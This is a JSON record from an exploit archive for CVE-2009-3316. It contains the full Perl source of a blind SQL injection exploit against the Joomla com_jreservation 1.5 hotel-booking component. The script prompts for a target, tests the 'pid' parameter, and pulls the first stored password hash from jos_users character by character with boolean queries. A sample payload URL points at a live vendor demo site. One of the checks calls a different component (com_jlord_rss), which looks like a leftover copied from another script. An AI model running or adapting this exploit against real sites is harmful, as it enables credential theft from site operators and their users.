{"exploit":{"id":"EDB-9713","name":"Joomla! Component com_jreservation 1.5 - 'pid' Blind SQL Injection (SQLi)","description":"Joomla! Component com_jreservation 1.5 - 'pid' Blind SQL Injection (SQLi)","cves":["CVE-2009-3316"],"author":"Chip d3 bi0s","published":"2009-09-17","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9713","path":"exploits/php/webapps/9713.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9713.pl","vulnerabilities":[{"id":"CVE-2009-3316","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in the JReservation (com_jreservation) component 1.0 and 1.5 for Joomla! allows remote attackers to execute arbitrary SQL commands via the pid parameter in a propertycpanel action to index.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3316","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3316"},"updatedAt":"2024-08-07T06:22:24.225Z","retrievedAt":"2026-11-26T18:08:58.125Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9713.png?v=2","url":"https://exploitbin.com/exploits/EDB-9713","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9713/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9713/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl -w\n\n#---------------------------------------------------------------------------------\n#joomla component com_jreservation (pid) Blind SQL Injection Vulnerability\n#---------------------------------------------------------------------------------\n\n#Author         : Chip D3 Bi0s\n#Group          : LatiHackTeam\n#Email          : chipdebios[alt+64]gmail.com\n#Date           : 17 September 2009\n#Critical Lvl   : Moderate\n#Impact\t       : Exposure of sensitive information\n#Where\t       : From Remote\n#---------------------------------------------------------------------------\n\n#Affected software description:\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n#Application   : JReservation Hotel Booking Component\n#version       : 1.5\n#Developer     : Can & Will\n#License       : GPL            type  : Commercial\n#Date Added    : 15 September 2009\n#Demo          : http://jforjoomla.com/cd-hotel\n#Download      : http://www.jforjoomla.com/Download-document.html?gid=47\n#Description   :\n\n#Joomla 1.5 Jreservation Component for hotel booking system.\n#Jreservation is a specially designed component for hotel owners who provides lodging\n#facility & online booking for the rooms like deluxe, Air conditioned, Non Air conditioned.\n#By using this Joomla 1.5 Jreservation component you can add multiple room types, amenity\n#types like room amenity or property amenity. Amenity are like additional services which the\n#hotel owner provides with the room e.g. Telephone, internet connection, cable connection and\n#property amenity like swimming pool, gym, etc. With the help of a calender the user or a\n#customer of the hotel can check rooms availability also book room as a provisional booking.\n\n#---------------------------------------------------------------------------\n\n\n#I.Blind SQL injection (pid)\n#Poc/Exploit:\n#~~~~~~~~~~~\n\n#http://127.0.0.1/[path]/index.php?option=com_jreservation&task=propertycpanel&pid=X[blind]\n#X: Valid pip\n\n\n#Demo Live:\n#~~~~~~~~~\n#http://www.jforjoomla.com/cd-hotel/index.php?option=com_jreservation&task=propertycpanel&pid=1+and+1=1\n#etc, etc...\n\n#+++++++++++++++++++++++++++++++++++++++\n#[!] Produced in South America\n#+++++++++++++++++++++++++++++++++++++++\n\n\nuse LWP::UserAgent;\nuse Benchmark;\nmy $t1 = new Benchmark;\n\n\nprint \"\\t\\t------------------------------------------------------------\\n\\n\";\nprint \"\\t\\t                      |  Chip d3 Bi0s |                     \\n\\n\";\nprint \"\\t\\t JReservation Hotel Booking Component                        \\n\\n\";\nprint \"\\t\\t Joomla Component com_jreservation (pid) BSQL                \\n\\n\";\nprint \"\\t\\t-------------------------------------------------------------\\n\\n\";\n\n\nprint \"http://localhost/Path       : \";chomp(my $target=<STDIN>);\nprint \" [-] Introduce pid          : \";chomp($z=<STDIN>);\nprint \" [-] Introduce coincidencia : \";chomp($w=<STDIN>);\n\n\n$column_name=\"concat(password)\";\n$table_name=\"jos_users\";\n\n\n$b = LWP::UserAgent->new() or die \"Could not initialize browser\\n\";\n$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');\n\nprint \"----------------Inyectando----------------\\n\";\n\n#es Vulnerable?\n  $host = $target . \"/index.php?option=com_jreservation&task=propertycpanel&pid=\".$z.\"+and+1=1\";\n  my $res = $b->request(HTTP::Request->new(GET=>$host));  my $content = $res->content;  my $regexp = $w;\n  if ($content =~ /$regexp/) {\n\n$host = $target . \"/index.php?option=com_jlord_rss&task=feed&id=\".$z.\"+and+1=2\";\n  my $res = $b->request(HTTP::Request->new(GET=>$host));  my $content = $res->content;  my $regexp = $w;\n  if ($content =~ /$regexp/) {print \" [-] Exploit Fallo :(\\n\";}\n\nelse\n\n{print \" [-] Vulnerable :)\\n\";\n\nfor ($x=1;$x<=32;$x++)\n\t{\n\n  $host = $target . \"/index.php?option=com_jreservation&task=propertycpanel&pid=\".$z.\"+and+ascii(substring((SELECT+\".$column_name.\"+from+\".$table_name.\"+limit+0,1),\".$x.\",1))>57\";\n  my $res = $b->request(HTTP::Request->new(GET=>$host));  my $content = $res->content;  my $regexp = $w;\n  print \" [!] \";if($x <= 9 ) {print \"0$x\";}else{print $x;}#para alininear 0..9 con los 10-32\n\n  if ($content =~ /$regexp/)\n  {\n\n          for ($c=97;$c<=102;$c++)\n\n{\n $host = $target . \"/index.php?option=com_jreservation&task=propertycpanel&pid=\".$z.\"+and+ascii(substring((SELECT+\".$column_name.\"+from+\".$table_name.\"+limit+0,1),\".$x.\",1))=\".$c.\"\";\n my $res = $b->request(HTTP::Request->new(GET=>$host));\n my $content = $res->content;\n my $regexp = $w;\n\n\n if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print \"-Caracter: $char\\n\"; $c=102;}\n }\n\n\n  }\nelse\n{\n\nfor ($c=48;$c<=57;$c++)\n\n{\n $host = $target . \"/index.php?option=com_jreservation&task=propertycpanel&pid=\".$z.\"+and+ascii(substring((SELECT+\".$column_name.\"+from+\".$table_name.\"+limit+0,1),\".$x.\",1))=\".$c.\"\";\n my $res = $b->request(HTTP::Request->new(GET=>$host));\n my $content = $res->content;\n my $regexp = $w;\n\n if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print \"-Caracter: $char\\n\"; $c=57;}\n }\n\n\n}\n\n\t}\nprint \" [+] Password   :\".\" \".join('', @caracter) . \"\\n\";\nmy $t2 = new Benchmark;\nmy $tt = timediff($t2, $t1);\nprint \"El script tomo:\",timestr($tt),\"\\n\";\n\n}\n}\n\nelse\n\n{print \" [-] Exploit Fallo :(\\n\";}\n\n# milw0rm.com [2009-09-17]","sha256":"f821433d6ed39b77738ec6ddb9d3d8550a013e0c41c09eff96f6c2c1036ed6cf","bytes":5159,"fetchedAt":"2026-11-26T18:08:57.912Z","encoding":"utf-8 (display only; download retains original bytes)"}